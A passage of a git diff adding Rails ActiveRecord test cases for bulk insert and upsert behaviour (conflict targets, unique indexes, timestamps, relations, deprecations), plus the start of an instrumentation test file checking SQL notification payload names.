+    skip unless supports_insert_on_duplicate_skip?
+
+    book = Book.create!(format: "EXPECTED", author_id: 8, name: "Refactoring")
+
+    assert_no_difference "Book.count" do
+      Book.insert_all([{ format: "UNEXPECTED", author_id: 8, name: "Refactoring" }])
+    end
+
+    assert_equal "EXPECTED", book.reload.format
+  end
+
+  def test_insert_all_will_raise_if_duplicates_are_skipped_only_for_a_certain_conflict_target
+    skip unless supports_insert_on_duplicate_skip? && supports_insert_conflict_target?
+
+    assert_raise ActiveRecord::RecordNotUnique do
+      Book.insert_all [{ id: 1, name: "Agile Web Development with Rails" }],
+        unique_by: :index_books_on_author_id_and_name
+    end
+  end
+
+  def test_insert_all_and_upsert_all_with_index_finding_options
+    skip unless supports_insert_conflict_target?
+
+    assert_difference "Book.count", +4 do
+      Book.insert_all [{ name: "Rework", author_id: 1 }], unique_by: :isbn
+      Book.insert_all [{ name: "Remote", author_id: 1 }], unique_by: %i( author_id name )
+      Book.insert_all [{ name: "Renote", author_id: 1 }], unique_by: :index_books_on_isbn
+      Book.insert_all [{ name: "Recoat", author_id: 1 }], unique_by: :id
+    end
+
+    assert_raise ActiveRecord::RecordNotUnique do
+      Book.upsert_all [{ name: "Rework", author_id: 1 }], unique_by: :isbn
+    end
+  end
+
+  def test_insert_all_and_upsert_all_with_expression_index
+    skip unless supports_expression_index? && supports_insert_conflict_target?
+
+    book = Book.create!(external_id: "abc")
+
+    assert_no_difference "Book.count" do
+      Book.insert_all [{ external_id: "ABC" }], unique_by: :index_books_on_lower_external_id
+    end
+
+    Book.upsert_all [{ external_id: "Abc" }], unique_by: :index_books_on_lower_external_id
+
+    assert_equal "Abc", book.reload.external_id
+  end
+
+  def test_insert_all_and_upsert_all_raises_when_index_is_missing
+    skip unless supports_insert_conflict_target?
+
+    [ :cats, %i( author_id isbn ), :author_id ].each do |missing_or_non_unique_by|
+      error = assert_raises ArgumentError do
+        Book.insert_all [{ name: "Rework", author_id: 1 }], unique_by: missing_or_non_unique_by
+      end
+      assert_match "No unique index", error.message
+
+      error = assert_raises ArgumentError do
+        Book.upsert_all [{ name: "Rework", author_id: 1 }], unique_by: missing_or_non_unique_by
+      end
+      assert_match "No unique index", error.message
+    end
+  end
+
+  def test_insert_all_and_upsert_all_finds_index_with_inverted_unique_by_columns
+    skip unless supports_insert_conflict_target?
+
+    columns = [:author_id, :name]
+    assert ActiveRecord::Base.lease_connection.index_exists?(:books, columns)
+
+    assert_difference "Book.count", +2 do
+      Book.insert_all [{ name: "Remote", author_id: 1 }], unique_by: columns.reverse
+      Book.upsert_all [{ name: "Rework", author_id: 1 }], unique_by: columns.reverse
+    end
+  end
+
+  def test_insert_all_and_upsert_all_works_with_composite_primary_keys_when_unique_by_is_provided
+    skip unless supports_insert_conflict_target?
+
+    assert_difference "Cart.count", 2 do
+      Cart.insert_all [{ id: 1, shop_id: 1, title: "My cart" }], unique_by: [:shop_id, :id]
+
+      Cart.upsert_all [{ id: 3, shop_id: 2, title: "My other cart" }], unique_by: [:shop_id, :id]
+    end
+
+    error = assert_raises ArgumentError do
+      Cart.insert_all! [{ id: 2, shop_id: 1, title: "My cart" }]
+    end
+    assert_match "No unique index found for id", error.message
+  end
+
+  def test_insert_all_and_upsert_all_works_with_composite_primary_keys_when_unique_by_is_not_provided
+    skip unless supports_insert_on_duplicate_skip? && !supports_insert_conflict_target?
+
+    assert_difference "Cart.count", 3 do
+      Cart.insert_all [{ id: 1, shop_id: 1, title: "My cart" }]
+
+      Cart.insert_all! [{ id: 2, shop_id: 1, title: "My cart 2" }]
+
+      Cart.upsert_all [{ id: 3, shop_id: 2, title: "My other cart" }]
+    end
+  end
+
+  def test_insert_logs_message_including_model_name
+    skip unless supports_insert_conflict_target?
+
+    capture_log_output do |output|
+      Book.insert({ name: "Rework", author_id: 1 })
+      assert_match "Book Insert", output.string
+    end
+  end
+
+  def test_insert_all_logs_message_including_model_name
+    skip unless supports_insert_conflict_target?
+
+    capture_log_output do |output|
+      Book.insert_all [{ name: "Remote", author_id: 1 }, { name: "Renote", author_id: 1 }]
+      assert_match "Book Bulk Insert", output.string
+    end
+  end
+
+  def test_insert_all_and_upsert_all_with_aliased_attributes
+    skip unless supports_insert_on_duplicate_update?
+
+    if supports_insert_returning?
+      assert_difference "Book.count" do
+        result = Book.insert_all [{ title: "Remote", author_id: 1 }], returning: :title
+        assert_includes result.columns, "title"
+      end
+    end
+
+    Book.upsert_all [{ id: 101, title: "Perelandra", author_id: 7, isbn: "1974522598" }]
+    Book.upsert_all [{ id: 101, title: "Perelandra 2", author_id: 6, isbn: "111111" }], update_only: %i[ title isbn ]
+
+    book = Book.find(101)
+    assert_equal "Perelandra 2", book.title, "Should have updated the title"
+    assert_equal "111111", book.isbn, "Should have updated the isbn"
+    assert_equal 7, book.author_id, "Should not have updated the author_id"
+  end
+
+  def test_insert_all_and_upsert_all_with_sti
+    skip unless supports_insert_on_duplicate_update?
+
+    assert_difference -> { Category.count }, 2 do
+      SpecialCategory.insert_all [{ name: "First" }, { name: "Second", type: nil }]
+    end
+
+    first, second = Category.last(2)
+    assert_equal "SpecialCategory", first.type
+    assert_nil second.type
+
+    SpecialCategory.upsert_all [{ id: 103, name: "First" }, { id: 104, name: "Second", type: nil }]
+
+    category3 = Category.find(103)
+    assert_equal "SpecialCategory", category3.type
+
+    category4 = Category.find(104)
+    assert_nil category4.type
+  end
+
+  def test_upsert_logs_message_including_model_name
+    skip unless supports_insert_on_duplicate_update?
+
+    capture_log_output do |output|
+      Book.upsert({ name: "Remote", author_id: 1 })
+      assert_match "Book Upsert", output.string
+    end
+  end
+
+  unless in_memory_db?
+    def test_upsert_and_db_warnings
+      skip unless supports_insert_on_duplicate_update?
+
+      begin
+        with_db_warnings_action(:raise) do
+          assert_nothing_raised do
+            Book.upsert({ id: 1001, name: "Remote", author_id: 1 })
+          end
+        end
+      ensure
+        # We need to explicitly remove the record, because `with_db_warnings_action`
+        # prevents the wrapping transaction to be rolled back.
+        Book.delete(1001)
+      end
+    end
+  end
+
+  def test_upsert_all_logs_message_including_model_name
+    skip unless supports_insert_on_duplicate_update?
+
+    capture_log_output do |output|
+      Book.upsert_all [{ name: "Remote", author_id: 1 }, { name: "Renote", author_id: 1 }]
+      assert_match "Book Bulk Upsert", output.string
+    end
+  end
+
+  def test_upsert_all_updates_existing_records
+    skip unless supports_insert_on_duplicate_update?
+
+    new_name = "Agile Web Development with Rails, 4th Edition"
+    Book.upsert_all [{ id: 1, name: new_name }]
+    assert_equal new_name, Book.find(1).name
+  end
+
+  def test_upsert_all_updates_existing_record_by_primary_key
+    skip unless supports_insert_conflict_target?
+
+    Book.upsert_all [{ id: 1, name: "New edition" }], unique_by: :id
+
+    assert_equal "New edition", Book.find(1).name
+  end
+
+  def test_upsert_all_implicitly_sets_primary_keys_when_nil
+    assert_difference "Book.count", 2 do
+      Book.upsert_all [
+        { id: 1, name: "New edition" },
+        { id: nil, name: "New edition 2" },
+        { id: nil, name: "New edition 3" },
+      ]
+    end
+
+    assert_equal "New edition", Book.find(1).name
+  end
+
+  def test_insert_all_implicitly_sets_primary_keys_when_nil
+    assert_difference "Book.count", 1 do
+      Book.insert_all [ { id: nil, name: "New edition" } ]
+    end
+  end
+
+  def test_upsert_all_only_applies_last_value_when_given_duplicate_identifiers
+    skip unless supports_insert_on_duplicate_update? && !current_adapter?(:PostgreSQLAdapter)
+
+    Book.create!(id: 112, name: "original_name")
+
+    Book.upsert_all [
+      { id: 112, name: "unexpected_new_name" },
+      { id: 112, name: "expected_new_name" }
+    ]
+    assert_equal "expected_new_name", Book.find(112).name
+  end
+
+  def test_upsert_all_does_notupdates_existing_record_by_when_there_is_no_key
+    skip unless supports_insert_on_duplicate_update? && !supports_insert_conflict_target?
+
+    Speedometer.create!(speedometer_id: "s3", name: "Very fast")
+
+    Speedometer.upsert_all [{ speedometer_id: "s3", name: "New Speedometer" }]
+
+    assert_equal "Very fast", Speedometer.find("s3").name
+  end
+
+  def test_upsert_all_updates_existing_record_by_configured_primary_key_fails_when_database_supports_insert_conflict_target
+    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target?
+
+    error = assert_raises ArgumentError do
+      Speedometer.upsert_all [{ speedometer_id: "s1", name: "New Speedometer" }]
+    end
+    assert_match "No unique index found for speedometer_id", error.message
+  end
+
+  def test_upsert_all_does_not_update_readonly_attributes
+    skip unless supports_insert_on_duplicate_update?
+
+    new_name = "Agile Web Development with Rails, 4th Edition"
+    ReadonlyNameBook.upsert_all [{ id: 1, name: new_name }]
+    assert_not_equal new_name, Book.find(1).name
+  end
+
+  def test_upsert_all_does_not_update_primary_keys
+    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target?
+
+    Book.upsert_all [{ id: 101, name: "Perelandra", author_id: 7 }]
+    Book.upsert_all [{ id: 103, name: "Perelandra", author_id: 7, isbn: "1974522598" }],
+      unique_by: :index_books_on_author_id_and_name
+
+    book = Book.find_by(name: "Perelandra")
+    assert_equal 101, book.id, "Should not have updated the ID"
+    assert_equal "1974522598", book.isbn, "Should have updated the isbn"
+  end
+
+  def test_upsert_all_passing_both_on_duplicate_and_update_only_will_raise_an_error
+    assert_raises ArgumentError do
+      Book.upsert_all [{ id: 101, name: "Perelandra", author_id: 7, isbn: "1974522598" }], on_duplicate: "NAME=values(name)", update_only: :name
+    end
+  end
+
+  def test_upsert_all_only_updates_the_column_provided_via_update_only
+    skip unless supports_insert_on_duplicate_update?
+
+    Book.upsert_all [{ id: 101, name: "Perelandra", author_id: 7, isbn: "1974522598" }]
+    Book.upsert_all [{ id: 101, name: "Perelandra 2", author_id: 7, isbn: "111111" }], update_only: :name
+
+    book = Book.find(101)
+    assert_equal "Perelandra 2", book.name, "Should have updated the name"
+    assert_equal "1974522598", book.isbn, "Should not have updated the isbn"
+  end
+
+  def test_upsert_all_only_updates_the_list_of_columns_provided_via_update_only
+    skip unless supports_insert_on_duplicate_update?
+
+    Book.upsert_all [{ id: 101, name: "Perelandra", author_id: 7, isbn: "1974522598" }]
+    Book.upsert_all [{ id: 101, name: "Perelandra 2", author_id: 6, isbn: "111111" }], update_only: %i[ name isbn ]
+
+    book = Book.find(101)
+    assert_equal "Perelandra 2", book.name, "Should have updated the name"
+    assert_equal "111111", book.isbn, "Should have updated the isbn"
+    assert_equal 7, book.author_id, "Should not have updated the author_id"
+  end
+
+  def test_upsert_all_does_not_perform_an_upsert_if_a_partial_index_doesnt_apply
+    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target? && supports_partial_index?
+
+    Book.upsert_all [{ name: "Out of the Silent Planet", author_id: 7, isbn: "1974522598", published_on: Date.new(1938, 4, 1) }]
+    Book.upsert_all [{ name: "Perelandra", author_id: 7, isbn: "1974522598" }],
+      unique_by: :index_books_on_isbn
+
+    assert_equal ["Out of the Silent Planet", "Perelandra"], Book.where(isbn: "1974522598").order(:name).pluck(:name)
+  end
+
+  def test_upsert_all_does_not_touch_updated_at_when_values_do_not_change
+    skip unless supports_insert_on_duplicate_update?
+
+    updated_at = Time.now.utc - 5.years
+    Book.insert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1), updated_at: updated_at }]
+    Book.upsert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1) }]
+
+    assert_in_delta updated_at, Book.find(101).updated_at, 1
+  end
+
+  def test_upsert_all_touches_updated_at_and_updated_on_when_values_change
+    skip unless supports_insert_on_duplicate_update?
+
+    Book.insert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1), updated_at: 5.years.ago, updated_on: 5.years.ago }]
+    Book.upsert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 8) }]
+
+    assert_equal Time.now.utc.year, Book.find(101).updated_at.year
+    assert_equal Time.now.utc.year, Book.find(101).updated_on.year
+  end
+
+  def test_upsert_all_respects_updated_at_precision_when_touched_implicitly
+    skip unless supports_insert_on_duplicate_update?
+
+    Book.insert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1), updated_at: 5.years.ago, updated_on: 5.years.ago }]
+
+    # A single upsert can occur exactly at the seconds boundary (when usec is naturally zero), so try multiple times.
+    has_subsecond_precision = (1..100).any? do |i|
+      Book.upsert_all [{ id: 101, name: "Out of the Silent Planet (Edition #{i})" }]
+      Book.find(101).updated_at.usec > 0
+    end
+
+    assert has_subsecond_precision, "updated_at should have sub-second precision"
+  end
+
+  def test_upsert_all_uses_given_updated_at_over_implicit_updated_at
+    skip unless supports_insert_on_duplicate_update?
+
+    updated_at = Time.now.utc - 1.year
+    Book.insert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1), updated_at: 5.years.ago }]
+    Book.upsert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 8), updated_at: updated_at }]
+
+    assert_in_delta updated_at, Book.find(101).updated_at, 1
+  end
+
+  def test_upsert_all_uses_given_updated_on_over_implicit_updated_on
+    skip unless supports_insert_on_duplicate_update?
+
+    updated_on = Time.now.utc.to_date - 30
+    Book.insert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1), updated_on: 5.years.ago }]
+    Book.upsert_all [{ id: 101, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 8), updated_on: updated_on }]
+
+    assert_equal updated_on, Book.find(101).updated_on
+  end
+
+  def test_upsert_all_implicitly_sets_timestamps_on_create_when_model_record_timestamps_is_true
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, true) do
+      Ship.upsert_all [{ id: 101, name: "RSS Boaty McBoatface" }]
+
+      ship = Ship.find(101)
+      assert_equal Time.new.utc.year, ship.created_at.year
+      assert_equal Time.new.utc.year, ship.created_on.year
+      assert_equal Time.new.utc.year, ship.updated_at.year
+      assert_equal Time.new.utc.year, ship.updated_on.year
+    end
+  end
+
+  def test_upsert_all_does_not_implicitly_set_timestamps_on_create_when_model_record_timestamps_is_true_but_overridden
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, true) do
+      Ship.upsert_all [{ id: 101, name: "RSS Boaty McBoatface" }], record_timestamps: false
+
+      ship = Ship.find(101)
+      assert_nil ship.created_at
+      assert_nil ship.created_on
+      assert_nil ship.updated_at
+      assert_nil ship.updated_on
+    end
+  end
+
+  def test_upsert_all_does_not_implicitly_set_timestamps_on_create_when_model_record_timestamps_is_false
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, false) do
+      Ship.upsert_all [{ id: 101, name: "RSS Boaty McBoatface" }]
+
+      ship = Ship.find(101)
+      assert_nil ship.created_at
+      assert_nil ship.created_on
+      assert_nil ship.updated_at
+      assert_nil ship.updated_on
+    end
+  end
+
+  def test_upsert_all_implicitly_sets_timestamps_on_create_when_model_record_timestamps_is_false_but_overridden
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, false) do
+      Ship.upsert_all [{ id: 101, name: "RSS Boaty McBoatface" }], record_timestamps: true
+
+      ship = Ship.find(101)
+      assert_equal Time.now.utc.year, ship.created_at.year
+      assert_equal Time.now.utc.year, ship.created_on.year
+      assert_equal Time.now.utc.year, ship.updated_at.year
+      assert_equal Time.now.utc.year, ship.updated_on.year
+    end
+  end
+
+  def test_upsert_all_respects_created_at_precision_when_touched_implicitly
+    skip unless supports_insert_on_duplicate_update?
+
+    # A single upsert can occur exactly at the seconds boundary (when usec is naturally zero), so try multiple times.
+    has_subsecond_precision = (1..100).any? do |i|
+      Book.upsert_all [{ id: 101 + i, name: "Out of the Silent Planet", published_on: Date.new(1938, 4, 1) }]
+      Book.find(101 + i).created_at.usec > 0
+    end
+
+    assert has_subsecond_precision, "created_at should have sub-second precision"
+  end
+
+  def test_upsert_all_implicitly_sets_timestamps_on_update_when_model_record_timestamps_is_true
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, true) do
+      travel_to(Date.new(2016, 4, 17)) { Ship.create! id: 101, name: "RSS Boaty McBoatface" }
+
+      Ship.upsert_all [{ id: 101, name: "RSS Sir David Attenborough" }]
+
+      ship = Ship.find(101)
+      assert_equal 2016, ship.created_at.year
+      assert_equal 2016, ship.created_on.year
+      assert_equal Time.now.utc.year, ship.updated_at.year
+      assert_equal Time.now.utc.year, ship.updated_on.year
+    end
+  end
+
+  def test_upsert_all_does_not_implicitly_set_timestamps_on_update_when_model_record_timestamps_is_true_but_overridden
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, true) do
+      travel_to(Date.new(2016, 4, 17)) { Ship.create! id: 101, name: "RSS Boaty McBoatface" }
+
+      Ship.upsert_all [{ id: 101, name: "RSS Sir David Attenborough" }], record_timestamps: false
+
+      ship = Ship.find(101)
+      assert_equal 2016, ship.created_at.year
+      assert_equal 2016, ship.created_on.year
+      assert_equal 2016, ship.updated_at.year
+      assert_equal 2016, ship.updated_on.year
+    end
+  end
+
+  def test_upsert_all_does_not_implicitly_set_timestamps_on_update_when_model_record_timestamps_is_false
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, false) do
+      Ship.create! id: 101, name: "RSS Boaty McBoatface"
+
+      Ship.upsert_all [{ id: 101, name: "RSS Sir David Attenborough" }]
+
+      ship = Ship.find(101)
+      assert_nil ship.created_at
+      assert_nil ship.created_on
+      assert_nil ship.updated_at
+      assert_nil ship.updated_on
+    end
+  end
+
+  def test_upsert_all_implicitly_sets_timestamps_on_update_when_model_record_timestamps_is_false_but_overridden
+    skip unless supports_insert_on_duplicate_update?
+
+    with_record_timestamps(Ship, false) do
+      Ship.create! id: 101, name: "RSS Boaty McBoatface"
+
+      Ship.upsert_all [{ id: 101, name: "RSS Sir David Attenborough" }], record_timestamps: true
+
+      ship = Ship.find(101)
+      assert_nil ship.created_at
+      assert_nil ship.created_on
+      assert_equal Time.now.utc.year, ship.updated_at.year
+      assert_equal Time.now.utc.year, ship.updated_on.year
+    end
+  end
+
+  def test_upsert_all_implicitly_sets_timestamps_even_when_columns_are_aliased
+    skip unless supports_insert_on_duplicate_update?
+
+    Developer.upsert_all [{ id: 101, name: "Alice" }]
+    alice = Developer.find(101)
+
+    assert_not_nil alice.created_at
+    assert_not_nil alice.created_on
+    assert_not_nil alice.updated_at
+    assert_not_nil alice.updated_on
+
+    alice.update!(created_at: nil, created_on: nil, updated_at: nil, updated_on: nil)
+
+    Developer.upsert_all [{ id: alice.id, name: alice.name, salary: alice.salary * 2 }]
+    alice.reload
+
+    assert_nil alice.created_at
+    assert_nil alice.created_on
+    assert_not_nil alice.updated_at
+    assert_not_nil alice.updated_on
+  end
+
+  def test_insert_all_raises_on_unknown_attribute
+    assert_raise ActiveRecord::UnknownAttributeError do
+      Book.insert_all! [{ unknown_attribute: "Test" }]
+    end
+  end
+
+  def test_upsert_all_works_with_partitioned_indexes
+    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target? && supports_partitioned_indexes?
+
+    require "models/measurement"
+
+    Measurement.upsert_all([{ city_id: "1", logdate: 1.days.ago, peaktemp: 1, unitsales: 1 },
+                            { city_id: "2", logdate: 2.days.ago, peaktemp: 2, unitsales: 2 },
+                            { city_id: "2", logdate: 3.days.ago, peaktemp: 0, unitsales: 0 }],
+                            unique_by: %i[logdate city_id])
+    assert_equal [[1.day.ago.to_date, 1, 1]],
+                 Measurement.where(city_id: 1).pluck(:logdate, :peaktemp, :unitsales)
+    assert_equal [[2.days.ago.to_date, 2, 2], [3.days.ago.to_date, 0, 0]],
+                 Measurement.where(city_id: 2).pluck(:logdate, :peaktemp, :unitsales)
+  end
+
+  def test_insert_all_with_enum_values
+    Book.insert_all! [{ status: :published, isbn: "1234566", name: "Rework", author_id: 1 },
+                      { status: :proposed, isbn: "1234567", name: "Remote", author_id: 2 }]
+    assert_equal ["published", "proposed"], Book.where(isbn: ["1234566", "1234567"]).order(:id).pluck(:status)
+  end
+
+  def test_insert_all_on_relation
+    author = Author.create!(name: "Jimmy")
+
+    assert_difference "author.books.count", +1 do
+      author.books.insert_all!([{ name: "My little book", isbn: "1974522598" }])
+    end
+  end
+
+  def test_insert_all_on_relation_precedence
+    author = Author.create!(name: "Jimmy")
+    second_author = Author.create!(name: "Bob")
+
+    assert_difference "author.books.count", +1 do
+      author.books.insert_all!([{ name: "My little book", isbn: "1974522598", author_id: second_author.id }])
+    end
+  end
+
+  def test_insert_all_resets_relation
+    audit_logs = Developer.create!(name: "Alice").audit_logs.load
+
+    assert_changes "audit_logs.loaded?", from: true, to: false do
+      audit_logs.insert_all!([{ message: "event" }])
+    end
+  end
+
+  def test_insert_all_create_with
+    assert_difference "Book.where(format: 'X').count", +2 do
+      Book.create_with(format: "X").insert_all!([ { name: "A" }, { name: "B" } ])
+    end
+  end
+
+  def test_insert_all_has_many_through
+    book = Book.first
+    assert_raise(ArgumentError) { book.subscribers.insert_all!([ { nick: "Jimmy" } ]) }
+  end
+
+  def test_upsert_all_on_relation
+    skip unless supports_insert_on_duplicate_update?
+
+    author = Author.create!(name: "Jimmy")
+
+    assert_difference "author.books.count", +1 do
+      author.books.upsert_all([{ name: "My little book", isbn: "1974522598" }])
+    end
+  end
+
+  def test_upsert_all_on_relation_precedence
+    skip unless supports_insert_on_duplicate_update?
+
+    author = Author.create!(name: "Jimmy")
+    second_author = Author.create!(name: "Bob")
+
+    assert_difference "author.books.count", +1 do
+      author.books.upsert_all([{ name: "My little book", isbn: "1974522598", author_id: second_author.id }])
+    end
+  end
+
+  def test_upsert_with_repeated_timstamp_columns
+    records = [Book.first.attributes]
+
+    assert_no_changes(proc { Book.count }) do
+      Book.upsert_all(
+        records,
+        update_only: [:updated_at],
+        record_timestamps: true,
+      )
+    end
+  end
+
+  def test_upsert_all_resets_relation
+    skip unless supports_insert_on_duplicate_update?
+
+    audit_logs = Developer.create!(name: "Alice").audit_logs.load
+
+    assert_changes "audit_logs.loaded?", from: true, to: false do
+      audit_logs.upsert_all([{ id: 1, message: "event" }])
+    end
+  end
+
+  def test_upsert_all_create_with
+    skip unless supports_insert_on_duplicate_update?
+
+    assert_difference "Book.where(format: 'X').count", +2 do
+      Book.create_with(format: "X").upsert_all([ { name: "A" }, { name: "B" } ])
+    end
+  end
+
+  def test_upsert_all_has_many_through
+    skip unless supports_insert_on_duplicate_update?
+
+    book = Book.first
+    assert_raise(ArgumentError) { book.subscribers.upsert_all([ { nick: "Jimmy" } ]) }
+  end
+
+  def test_upsert_all_updates_using_provided_sql
+    skip unless supports_insert_on_duplicate_update?
+
+    operator = current_adapter?(:SQLite3Adapter) ? "MAX" : "GREATEST"
+
+    Book.upsert_all(
+      [{ id: 1, status: 1 }, { id: 2, status: 1 }],
+      on_duplicate: Arel.sql("status = #{operator}(books.status, 1)")
+    )
+    assert_equal "published", Book.find(1).status
+    assert_equal "written", Book.find(2).status
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    def test_upsert_all_updates_using_values_function_on_duplicate_raw_sql
+      skip unless supports_insert_on_duplicate_update?
+
+      b1 = Book.create!(name: "Name")
+      b2 = Book.create!(name: nil)
+
+      Book.upsert_all(
+        [{ id: b1.id, name: "No Name" }, { id: b2.id, name: "No Name" }],
+        on_duplicate: Arel.sql("name = IFNULL(name, values(name))")
+      )
+
+      b1.reload
+      b2.reload
+
+      assert_equal "Name", b1.name
+      assert_equal "No Name", b2.name
+    end
+  end
+
+  def test_upsert_all_updates_using_provided_sql_and_unique_by
+    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target?
+
+    book = books(:rfr)
+    assert_equal "proposed", book.status
+
+    Book.upsert_all(
+      [{ name: book.name, author_id: book.author_id }],
+      unique_by: [:name, :author_id],
+      on_duplicate: Arel.sql("status = 2")
+    )
+    assert_equal "published", book.reload.status
+  end
+
+  def test_upsert_all_does_nothing_with_on_duplicate_skip
+    skip unless supports_insert_on_duplicate_update? && supports_insert_conflict_target?
+
+    book = books(:rfr)
+    assert_equal "proposed", book.status
+
+    Book.upsert_all(
+      [{ name: book.name, author_id: book.author_id, status: "published" }],
+      unique_by: [:name, :author_id],
+      on_duplicate: :skip
+    )
+    assert_equal "proposed", book.reload.status
+  end
+
+  def test_upsert_all_with_unique_by_fails_cleanly_for_adapters_not_supporting_insert_conflict_target
+    skip if supports_insert_conflict_target?
+
+    error = assert_raises ArgumentError do
+      Book.upsert_all [{ name: "Rework", author_id: 1 }], unique_by: :isbn
+    end
+    assert_match "#{ActiveRecord::Base.lease_connection.class} does not support :unique_by", error.message
+  end
+
+  if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+    def test_insert_all_when_table_name_contains_database
+      database_name = Book.connection_db_config.database
+      Book.table_name = "#{database_name}.books"
+
+      assert_nothing_raised do
+        Book.insert_all! [{ name: "Rework", author_id: 1 }]
+      end
+    ensure
+      Book.table_name = "books"
+    end
+  end
+
+  def test_insert_all_with_unpersisted_records_triggers_deprecation
+    skip unless supports_insert_on_duplicate_skip?
+
+    author = Author.create!(name: "Rafael")
+    author.books.build(title: "Unpersisted Book")
+
+    assert_deprecated(ActiveRecord.deprecator) do
+      author.books.insert({ title: "New Book" })
+    end
+
+    author.books.load
+    assert_includes author.books.pluck(:title), "Unpersisted Book"
+  end
+
+  def test_insert_all_without_unpersisted_records_has_no_deprecation
+    skip unless supports_insert_on_duplicate_skip?
+
+    author = Author.create!(name: "Rafael")
+
+    assert_not_deprecated(ActiveRecord.deprecator) do
+      author.books.insert_all([{ title: "New Book" }])
+    end
+  end
+
+  def test_insert_with_unpersisted_records_triggers_deprecation
+    skip unless supports_insert_on_duplicate_skip?
+
+    author = Author.create!(name: "Rafael")
+    author.books.build(title: "Unpersisted Book")
+
+    assert_deprecated(ActiveRecord.deprecator) do
+      author.books.insert({ title: "New Book" })
+    end
+
+    author.books.load
+    assert_includes author.books.pluck(:title), "Unpersisted Book"
+  end
+
+  def test_insert_without_unpersisted_records_has_no_deprecation
+    skip unless supports_insert_on_duplicate_skip?
+
+    author = Author.create!(name: "Rafael")
+
+    assert_not_deprecated(ActiveRecord.deprecator) do
+      author.books.insert({ title: "New Book" })
+    end
+  end
+
+  def test_insert_all_bang_with_unpersisted_record_triggers_deprecation
+    author = Author.create!(name: "Rafael")
+    author.books.build(title: "Unpersisted Book")
+
+    assert_deprecated(ActiveRecord.deprecator) do
+      author.books.insert_all!([{ title: "New Book" }])
+    end
+
+    author.books.load
+    assert_includes author.books.pluck(:title), "Unpersisted Book"
+  end
+
+  def test_insert_all_bang_without_unpersisted_records_has_no_deprecation
+    author = Author.create!(name: "Rafael")
+
+    assert_not_deprecated(ActiveRecord.deprecator) do
+      author.books.insert_all!([{ title: "New Book" }])
+    end
+  end
+
+  def test_upsert_all_with_unpersisted_record_triggers_deprecation
+    skip unless supports_insert_on_duplicate_update?
+
+    author = Author.create!(name: "Rafael")
+    author.books.build(title: "Unpersisted Book")
+
+    assert_deprecated(ActiveRecord.deprecator) do
+      author.books.upsert_all([{ title: "New Book" }])
+    end
+
+    author.books.load
+    assert_includes author.books.pluck(:title), "Unpersisted Book"
+  end
+
+  def test_upsert_all_without_unpersisted_records_has_no_deprecation
+    skip unless supports_insert_on_duplicate_update?
+
+    author = Author.create!(name: "Rafael")
+
+    assert_not_deprecated(ActiveRecord.deprecator) do
+      author.books.upsert_all([{ title: "New Book" }])
+    end
+  end
+
+  def test_upsert_with_unpersisted_record_triggers_deprecation
+    skip unless supports_insert_on_duplicate_update?
+
+    author = Author.create!(name: "Rafael")
+    author.books.build(title: "Unpersisted Book")
+
+    assert_deprecated(ActiveRecord.deprecator) do
+      author.books.upsert({ title: "New Book" })
+    end
+
+    author.books.load
+    assert_includes author.books.pluck(:title), "Unpersisted Book"
+  end
+
+  def test_upsert_without_unpersisted_records_has_no_deprecation
+    skip unless supports_insert_on_duplicate_update?
+
+    author = Author.create!(name: "Rafael")
+
+    assert_not_deprecated(ActiveRecord.deprecator) do
+      author.books.upsert({ title: "New Book" })
+    end
+  end
+
+  private
+    def capture_log_output
+      output = StringIO.new
+      old_logger, ActiveRecord::LogSubscriber.logger = ActiveRecord::LogSubscriber.logger, ActiveSupport::Logger.new(output)
+
+      begin
+        yield output
+      ensure
+        ActiveRecord::LogSubscriber.logger = old_logger
+      end
+    end
+
+    def with_record_timestamps(model, value)
+      original = model.record_timestamps
+      model.record_timestamps = value
+      yield
+    ensure
+      model.record_timestamps = original
+    end
+end
diff --git a/activerecord/test/cases/instrumentation_test.rb b/activerecord/test/cases/instrumentation_test.rb
new file mode 100644
index 0000000000000..ec6ac4c12badc
--- /dev/null
+++ b/activerecord/test/cases/instrumentation_test.rb
@@ -0,0 +1,266 @@
+# frozen_string_literal: true
+
+require "cases/helper"
+require "models/author"
+require "models/book"
+require "models/clothing_item"
+require "models/lesson"
+require "models/student"
+
+module ActiveRecord
+  class InstrumentationTest < ActiveRecord::TestCase
+    def setup
+      ActiveRecord::Base.schema_cache.add(Book.table_name)
+    end
+
+    def test_payload_name_on_load
+      Book.create(name: "test book")
+
+      notification = capture_notifications("sql.active_record") { Book.first }
+        .find { _1.payload[:sql].match?("SELECT") }
+
+      assert_equal "Book Load", notification.payload[:name]
+    end
+
+    def test_payload_name_on_create
+      notification = capture_notifications("sql.active_record") { Book.create(name: "test book") }
+        .find { _1.payload[:sql].match?("INSERT") }
+
+      assert_equal "Book Create", notification.payload[:name]
+    end
+
+    def test_payload_name_on_update
+      book = Book.create(name: "test book", format: "paperback")
+
+      notification = capture_notifications("sql.active_record") { book.update_attribute(:format, "ebook") }
+        .find { _1.payload[:sql].match?("UPDATE") }
+
+      assert_equal "Book Update", notification.payload[:name]
+    end
+
+    def test_payload_name_on_update_all
